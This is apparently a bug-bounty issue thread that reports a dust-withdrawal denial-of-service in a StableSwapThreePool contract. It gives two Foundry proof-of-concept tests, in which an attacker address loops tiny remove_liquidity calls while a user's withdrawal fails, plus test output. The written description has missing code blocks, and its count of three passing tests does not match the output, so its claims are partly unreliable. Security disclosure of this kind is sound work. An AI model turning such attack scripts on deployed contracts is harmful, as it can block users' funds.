Open hats-bug-reporter[bot] opened 2 weeks ago
Your test has a little problem, I have fixed the setup, your LP distribution is wrong.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10 ** 18);
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract MockStableSwapLP is ERC20 {
constructor() ERC20("LP Token", "LP") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function burnFrom(address account, uint256 amount) public {
_burn(account, amount);
}
}
contract StableSwapThreePoolTestd is Test {
StableSwapThreePool pool;
MockERC20[3] tokens;
MockStableSwapLP lpToken;
address owner;
address user1;
address user2;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
// Deploy mock tokens
for (uint256 i = 0; i < 3; i++) {
tokens[i] = new MockERC20(
string(abi.encodePacked("Token", i + 1)),
string(abi.encodePacked("TKN", i + 1))
);
}
// Deploy LP token
lpToken = new MockStableSwapLP();
// Deploy pool
pool = new StableSwapThreePool();
address[3] memory tokenAddresses = [
address(tokens[0]),
address(tokens[1]),
address(tokens[2])
];
pool.initialize(
tokenAddresses,
100,
4 * 10 ** 6,
5 * 10 ** 9,
owner,
address(lpToken)
);
// Add initial liquidity
uint256[3] memory amounts = [
uint256(3000 * 10 ** 18),
uint256(3000 * 10 ** 18),
uint256(3000 * 10 ** 18)
];
for (uint256 i = 0; i < 3; i++) {
tokens[i].approve(address(pool), type(uint256).max);
}
pool.add_liquidity(amounts, 0);
lpToken.transfer(user1, 3000 * 10 ** 18);
lpToken.transfer(user2, 3000 * 10 ** 18);
}
function testDoSRemoveLiquidity() public {
address attacker = address(0x3);
lpToken.transfer(attacker, 3000 * 10 ** 18);
vm.prank(attacker);
lpToken.approve(address(pool), type(uint256).max);
vm.prank(user2);
lpToken.approve(address(pool), type(uint256).max);
// Start a transaction from a legitimate user slippage 1%
vm.startPrank(user2);
uint256[3] memory minAmounts = [
uint256(990 * 10 ** 18),
990 * 10 ** 18,
990 * 10 ** 18
];
bytes memory largeRemoveLiquidityCall = abi.encodeWithSelector(
pool.remove_liquidity.selector,
3000 * 10 ** 18,
minAmounts
);
vm.stopPrank();
// Simulate concurrent dust removals from attacker
for (uint256 i = 0; i < 500; i++) {
vm.prank(attacker);
uint256[3] memory dustAmounts = [uint256(0), 0, 0];
pool.remove_liquidity(1, dustAmounts);
vm.prank(user2);
if (i % 10 == 0) {
(bool success, ) = address(pool).call(largeRemoveLiquidityCall);
if (!success) {
emit log("Large removal failed on iteration");
emit log_uint(i);
} else {
emit log("Large removal succeeded on iteration");
emit log_uint(i);
break;
}
}
}
}
}
@Ghoulouis I am Escalating this with the below test suite to showcase this issue following your setup.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../contracts/stableSwap/plain-pools/StableSwapThreePool.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1000000 * 10 ** 18);
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract MockStableSwapLP is ERC20 {
constructor() ERC20("LP Token", "LP") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function burnFrom(address account, uint256 amount) public {
_burn(account, amount);
}
}
contract StableSwapThreePoolTestd is Test {
StableSwapThreePool pool;
MockERC20[3] tokens;
MockStableSwapLP lpToken;
address owner;
address user1;
address user2;
address attacker;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
attacker = address(0x3);
// Deploy mock tokens
for (uint256 i = 0; i < 3; i++) {
tokens[i] = new MockERC20(string(abi.encodePacked("Token", i + 1)), string(abi.encodePacked("TKN", i + 1)));
}
// Deploy LP token
lpToken = new MockStableSwapLP();
// Deploy pool
pool = new StableSwapThreePool();
address[3] memory tokenAddresses = [address(tokens[0]), address(tokens[1]), address(tokens[2])];
pool.initialize(tokenAddresses, 100, 4 * 10 ** 6, 5 * 10 ** 9, owner, address(lpToken));
// Add initial liquidity
uint256[3] memory amounts = [uint256(3000 * 10 ** 18), uint256(3000 * 10 ** 18), uint256(3000 * 10 ** 18)];
for (uint256 i = 0; i < 3; i++) {
tokens[i].approve(address(pool), type(uint256).max);
}
pool.add_liquidity(amounts, 0);
// Distribute LP tokens
lpToken.transfer(user1, 3000 * 10 ** 18);
lpToken.transfer(user2, 3000 * 10 ** 18);
lpToken.transfer(attacker, 3000 * 10 ** 18);
// Approve pool for all users
vm.prank(user1);
lpToken.approve(address(pool), type(uint256).max);
vm.prank(user2);
lpToken.approve(address(pool), type(uint256).max);
vm.prank(attacker);
lpToken.approve(address(pool), type(uint256).max);
}
function testDoSRemoveLiquidity() public {
uint256 successfulIteration = type(uint256).max;
uint256 gasUsed;
uint256 dustAmount = 1; // Minimum possible amount
uint256 largeAmount = 500 * 10 ** 18; // Half of user's balance
// Prepare large removal call data
uint256[3] memory minAmounts = [uint256(495 * 10 ** 18), 495 * 10 ** 18, 495 * 10 ** 18]; // 1% slippage
bytes memory largeRemoveLiquidityCall =
abi.encodeWithSelector(pool.remove_liquidity.selector, largeAmount, minAmounts);
// Simulate concurrent dust removals from attacker and large removal attempts from legitimate users
for (uint256 i = 0; i < 1000; i++) {
// Attacker's dust removal
vm.prank(attacker);
uint256[3] memory dustAmounts = [uint256(0), 0, 0];
pool.remove_liquidity(dustAmount, dustAmounts);
if (i % 50 == 0) {
// Set user context
vm.prank(i % 100 == 0 ? user1 : user2);
uint256 gasBefore = gasleft();
(bool success,) = address(pool).call(largeRemoveLiquidityCall);
gasUsed = gasBefore - gasleft();
if (!success) {
emit log_named_uint("Large removal failed on iteration", i);
emit log_named_uint("Gas used", gasUsed);
emit log_named_address("User", i % 100 == 0 ? user1 : user2);
} else {
emit log_named_uint("Large removal succeeded on iteration", i);
emit log_named_uint("Gas used", gasUsed);
emit log_named_address("User", i % 100 == 0 ? user1 : user2);
successfulIteration = i;
break;
}
}
}
if (successfulIteration == type(uint256).max) {
emit log("Large removal never succeeded");
} else {
emit log_named_uint("DoS threshold (number of dust txs): ", successfulIteration);
}
}
}
Test output
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.25
[⠒] Solc 0.8.25 finished in 1.90s
Compiler run successful!
Ran 1 test for test/DustWithdraw.t.sol:StableSwapThreePoolTestd
[PASS] testDoSRemoveLiquidity() (gas: 28170108)
Logs:
Large removal failed on iteration: 0
Gas used: 6348
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 50
Gas used: 6349
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 100
Gas used: 6349
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 150
Gas used: 6350
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 200
Gas used: 6350
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 250
Gas used: 6351
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 300
Gas used: 6351
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 350
Gas used: 6352
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 400
Gas used: 6353
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 450
Gas used: 6354
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 500
Gas used: 6354
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 550
Gas used: 6354
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 600
Gas used: 6355
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 650
Gas used: 6356
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 700
Gas used: 6357
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 750
Gas used: 6357
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 800
Gas used: 6358
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 850
Gas used: 6358
User: 0x0000000000000000000000000000000000000002
Large removal failed on iteration: 900
Gas used: 6359
User: 0x0000000000000000000000000000000000000001
Large removal failed on iteration: 950
Gas used: 6359
User: 0x0000000000000000000000000000000000000002
Large removal never succeeded
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 97.49ms (92.82ms CPU time)
Ran 1 test suite in 100.89ms (97.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Github username: -- Twitter username: -- Submission hash (on-chain): 0x56b3d01cc27c214dc1a427cc667615445f7c61405dbde5726d91cdf733ddf743 Severity: medium
Description: Description
The StableSwapThreePool contract is susceptible to a Denial of Service (DoS) attack through dust withdrawals. The contract's liquidity removal functions (
remove_liquidity
,remove_liquidity_one_coin
) andexchange
function do not implement minimum amount checks. This oversight allows malicious actors to execute numerous small-value transactions, potentially blocking or significantly delaying legitimate larger transactions from other users.This vulnerability can lead to:
An attacker can exploit this vulnerability by repeatedly calling the vulnerable functions with minimal amounts (dust values). This flood of micro-transactions can effectively block the execution of legitimate, larger transactions from other users, rendering the contract unusable for extended periods.
Attachments
Proof of Concept (PoC) File
Key areas of concern in the
StableSwapThreePool
contract include:The following Foundry test suite demonstrates this vulnerability:
Here is the test suite output.
The test suite output shows that all three tests passed, and each test is showing multiple failures of the legitimate user's transaction attempts whilst the dust withdrawals are occurring, demonstrating the DoS vulnerability.
Revised Code File
To mitigate this vulnerability, implement minimum amount checks in the affected functions. Here's an example of how to modify the
remove_liquidity
function:Similar checks should be added to the
exchange
andremove_liquidity_one_coin
functions:Additionally, consider implementing a function to allow authorized addresses to update these minimum amounts if needed:
These changes introduce minimum amount checks to prevent dust transactions while allowing trusted addresses/users to adjust these minimums if needed. The additional checks in
setMinimumAmounts
ensure that the minimum amounts cannot be set to values that would prevent legitimate transactions.